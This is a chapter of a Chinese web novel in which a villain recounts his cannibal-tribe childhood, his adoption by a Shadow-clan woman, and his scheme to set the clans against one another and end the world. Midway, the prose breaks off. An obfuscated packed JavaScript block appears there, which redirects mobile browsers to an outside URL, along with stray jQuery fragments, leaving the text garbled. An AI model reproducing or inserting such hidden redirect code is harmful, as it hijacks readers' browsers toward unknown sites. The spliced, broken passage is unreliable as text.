99. 浮尘逐乱

作品:《我嘞个言出法随

    我来自食人族。


    这是一个以食人为生的族群,生来便站在其它种族的对立面。


    食人族的后人大多体力强悍,而我生来便格外孱弱,每次出去狩猎,我总是被落在最后,但有一天我走了大运,碰到了一个瘦弱的女人,她身边还有一个年纪与我相差无几的男孩。


    女人请求我能放她的孩子一条生路,我犹豫了刹那,而男孩捡起石头,朝我身上砸来,嘴里喊着:“不要靠近我的母亲!母亲快跑!”


    母亲……


    我突然愣在原地,眼睁睁看着男孩带着女人逃跑了。


    我又一次空手而归,没有捕猎成功。


    分配食物时,健壮的族人们用蛮力争夺着每一块肉,而我被推来搡去,不仅没能抢到食物,还吃了一嘴的灰。


    族人们笑得打跌,赐予我一个名字——“尘”。


    这年我九岁,我拥有了自己的名字,可这个名字,仿佛预示着我的一生,都将被人碾在脚下。


    我不甘心,脑海里翻来覆去想着,要是我也有母亲就好了,母亲一定会保护我,不让我每天饿着肚子。


    可我抬眼看向四周,清楚地知道食人族部落里没有我的母亲。


    于是很长一段时间,我都在玩同一个恶作剧,我在族人的食物中添加一种特殊的植物汁液,一旦入口,就会让食用者的嘴唇变成鲜艳的红色,同时眼前还会出现幻象。


    食人族部落中流传着一个禁忌:若谁的嘴唇在进食后变得鲜红,如同涂上了鲜血,无法抹去,就必须立刻将其处死,以驱散附身的魔头。


    关于魔头,无论哪个时期,都足以让各族闻风丧胆,哪怕它如今被封印在忘乡台,由影族人看守了千年之久,但后代对他的恐惧依旧刻在骨子里。


    基于此,头脑简单的家伙轻易便踏入了我的陷阱,看着他们一个接一个地被处死丢弃,我便去狠狠撕咬他们的身体。


    日子久了,我坐尚有余温的尸体旁,手里抓着一捧粘腻的血肉,迟迟没有送到嘴里,胃部开始剧烈地收缩,一股强烈的恶心感涌上喉咙。


    我呕了一次又一次,直到胃里已经没有什么可以吐的了,躺在抛荒的野地喘息,四周是半人高的草,风掠过的时候,发出沉闷的沙沙声,像无数只手在暗中摩挲。


    而这个时候,响起另一种窸窸窣窣的声音,我确定,此刻正有人朝这边来。


    我警觉地坐了起来,看着面前的草毫无反抗之力地倒伏下去,草茎在重压下贴地,仿佛被一把无形的巨镰瞬间扫平。


    那股迫近的气息越来越清晰,这个时候我应该跑才对,否则一旦被人撞破我的所作所为,该怎么办呢?


    我明明知道后果,却原地不动等着那人走到了我面前。


    月色下,这是一个个子矮小的女人。


    我仰头看着她,第一次见到这样的眼睛,静得像一潭深水,不似族人眼中的浑浊、贪婪、暴戾。


    我不好意思让她瞧见我身边的残肢遗骸,下意识地侧身掩盖,像藏起闯祸痕迹的孩童,心脏怦怦直跳,就怕她皱着眉问上一句。


    “你很饿吧。”女人语气平静,递给我一个用布包着的东西。


    温热陌生的香气透过布料丝丝缕缕地钻进我的鼻腔。


    我的喉咙不受控制地滚动了一下,在食人族,食物要么靠抢,要么靠乞讨残渣,从没有这样递过来的时候。


    我接过了,几乎是用撕扯的力道咬下去,可滚烫的食物却灼痛了我的舌头。


    我瞬间龇牙,从喉间挤出低吼,但眼前的女人只是沉默地看着我。


    我顿了顿,收了牙,乖顺地低下头,小口小口地啃咬起来。待我吃完,她的掌心抚过我的脸。


    “你是个有趣的孩子,愿意跟我走吗?”她问。


    我脱口而出:“那你要做我的母亲。”


    “可以。”


    我生来不曾有过母亲,所以跟她走的那天,便认准这一生都要做她的孩子。


    我给自己的过往做了了断。散出消息,引得各族合力围剿食人族,而我抽身而退。


    这年我十三,知晓了母亲的来历,她叫藏澜,是影族人。


    我随她从食人族的野蛮之地走出,对井然有序的外界无比好奇,开始求知若渴的学习。


    我越来越像个寻常人家的少年,温和,聪明,讨得很多人喜欢,而母亲沉默寡言,心事重重,我个子抽条拔高,母亲只到我的胸口,走起路来,我常要放慢步子,弓着腰等她。


    我初次随她来到忘乡台,发现这里根本没有魔头。


    难道说,外面的人畏惧了千年的魔头,早就已经不存在了吗?


    若是如此,影族为何还守着这片荒芜之地?


    直到后来我才知道缘由,不免生出唏嘘之感。


    但对母亲以及整个影族来说,被岁月掩埋的真相能否重见天日已经不重要了,他们正在打造新的魔头,准备通过开启影界,让世界回到一切未生、万物混沌的安静中去。


    ……


    为了这个计划,我和母亲在各族游走。


    很巧的是,冰族这个时候举办试炼,各族皆派遣本族最为杰出的后辈参与角逐,这场较量本身,便是各方实力以及关系最直接的映照。


    最终,火族少主以绝对之姿夺魁。


    那一刻,明暗交织的注视如鸦群般盘旋而来,牢牢钉在他的身上。


    而我也选中了他。


    在这场试炼,我看到了各族本就彼此算计,只需稍稍撬动这条裂隙,就可以达成我们的目的。


    于是,我请求母亲务必让魔头畏寒。


    母亲不解,她认为魔头应该是强大的,毫不留情的,才能覆灭整个世界。


    我说:“要让毁灭来得有意思,就不能是简单的杀戮。真正的毁灭,是从内部埋下分裂的种子,要让他们自己杀死自己。”


    母亲听后笑了。


    接下来,我便助水族一臂之力。


    水族觊觎火族的火种,凭着贪婪、旧怨和掠夺本能,看到火族露出破绽就一定会扑上去撕咬。


    而火族陷入孤立与困顿时,又逢魔头现世,各家即便有心联手,却因隔阂与猜忌,终是一盘各自为战的散沙。


    如此,纷争必然永无宁日,世界秩序也将开始不可逆转地崩坏。


    ……


    魔头现世前夕,出了不小的问题。


    影界需经应允方能正式开启,可能授意此事的人疯癫失常,无法沟通,为了一切能顺利进行下去,母亲在火族找到了她的后代,霸占了她本该觉醒的影子,让她无法完成愿望,将她带回忘乡台。


    ……


    影界成功开启,魔头出世。


    一切正如我计划的那样,火族被逼到绝路,他们不愿屈服,千方百计要拼个鱼死网破,心中恨极了魔头,更恨昔日设下连环毒计,将自己拖入深渊的同盟。


    我原以为能见着一场自相残杀的好戏,却没想到他们能在木族抛开旧怨,结成同盟。


    若这都能忍的话……


    我开始在各族内部活捉合适的叛徒,在他们身上烙印上魔印,一来,这些魔印之人不再畏寒,行动敏捷,可以供魔头驱策差遣;二来,魔印之人所杀之人的魂魄会被困于体内,如此便无法滋养灵脉,灵脉若是枯竭,大陆则无法再有新生。


    ……


    复春之战第七年,冰天雪地里的战斗磨尽各族心气,表面上还撑着联手御敌的模样,私下里早已有人怯了战,盘算着如何向魔头低头求存……


    无数的背叛、倒戈接连上演,眼看功成之际,变故陡生。


    影界出现剧烈波动,母亲陷入七天七夜的沉睡。


    每次波动,母亲便需进行修复,而这一次的波动显然异于寻常……它诡异在,影界要彻底崩塌了。


    这本是绝无可能的事。


    即便有人能解除影界,可影界所化的影响仍会留存,它凝造出的诸般事物——譬如魔头,都会真实存在于世间。


    可此刻剧烈波动引起的崩塌预示影界衍生的一切,皆会随之一同湮灭,包括全体影族人。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176408|190407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    为了稳住分崩离析的局面,母亲以身赴死,死时未曾留下遗言,但我知道,她的愿望只有一个。


    要将灭世计划进行到底,至死方休。


    ……


    怪事不断发生,双方都需要一段喘息的时间,复春之战进入了最为平缓的两年,但并不算完全休战,只是不再进行大规模的战斗,期间仍有不少的小范围冲突。


    ……


    复春之战第十年,魔头卷土重来,而各族已经摒弃了昔日盟约,离心离德,面对来势汹汹的危机,根本聚不起半分抵抗之力。


    但这个时候,世界迎来他的救星。


    长流。


    春暖花开的同时,长流的时代也开始了。


    ……


    长流为了将崩坏的世界重新扶正,把人强行划分为九等,只是这样的秩序并未持续太久,巨人族化息从泰安出发,逼迫长流退让。


    化息成功了,可他的成功无法延续,这是建立在沙砾之上的胜利。


    目睹这一切的我决定重新入局。


    在庆功宴上,我联合势族设局,将化息灌醉,酒中早已备好剧毒。但当化息毫无防备地倒在我面前时,我改变了主意,也许他活着更有价值。


    我倒掉毒酒,秘密将化息藏于不知彼岸的深海之中,让他避开纷争。


    不久之后,我被长流任命为了义帮帮主,打理各种事务,各方周旋的同时,我经营着魔印生意,开始为打造恶灵计划做准备。


    长子石淮八岁时在当铺看到了魔印之人上交黑煞与魂魄,他问我,这么做会迎来怎样的结局?


    我望着他困惑而忐忑的眼睛,回答:“此心既起,便要惊天。”


    “那时我们……会死吗?”


    “会。”


    “所有人都会?”


    “所有人。”


    石淮被吓到了,瘫软在地。


    我看得出,他并非天生的恶人,他接受不了。


    有的恶人需要理由才会变坏,他们受过伤,被背叛,被世界狠狠地踩进泥里,于是爬起来时选择了以牙还牙。


    可天生的恶人不一样。


    他们生来便举世皆敌,不需要理由,不需要伤痕,不需要任何人对不起他们,他们甚至可以把自己伪装得像个正常人来欺骗他人。


    石淮年纪尚小,本能地知道我做这些都是错的。


    我能看见他眼里的挣扎,看见他别过的脸,打颤的腿。


    但我是他的父亲,所以他接受了。


    不是因为他认同毁灭,而是因为他无法不认同我。当一个人从小就学着用父亲的眼睛看世界,他就再也不知道该如何用自己的眼睛去看。


    石淮慢慢变成了一个恶少年,他不把同龄义士当人看,他的母亲管教他时,打他手背,罚他不准吃饭。


    我让石淮放弃逼自己变成一个坏孩子,当坏人有什么前途呢?他每天填饱肚子就可以了。可是石淮宁愿饿着,我知道饿的滋味不好受,石淮这是下定了决心。


    直到次子石奔大了些,虽未开智,却长成了我期待中的样子,吃喝便是他的头等大事。


    我用九重水测过他的等级,结果是最末等“九”,石淮笑的上气不接下气,说弟弟竟然是个废物,我那个时候也怀疑过这个准吗?


    不过,我看石奔每天干的事,便心里有了数。


    他喜欢在院子里追着蝴蝶跑,追着追着就忘了为什么要追。又会蹲在地上对着墙说话,说很久很久,好像墙真的在听。他吃饭时会对着我笑,露出缺了一颗的门牙,问他笑什么,他说“不知道,就是看着爹觉得高兴”。


    石奔什么都不懂,什么都不用懂。


    可我有时又想,一个傻孩子,将来可怎么办?


    后来,两个孩子的母亲过世,十五岁的石淮胸口烙印上了魔印,十岁的石奔开始怕我,每次见了我就躲,慢慢地,我对石淮就像我手下的魔印之人没什么区别,而石奔只要饿不死就行。


    再后来,一切都按部就班的进行着,想来不久便会尘埃落定。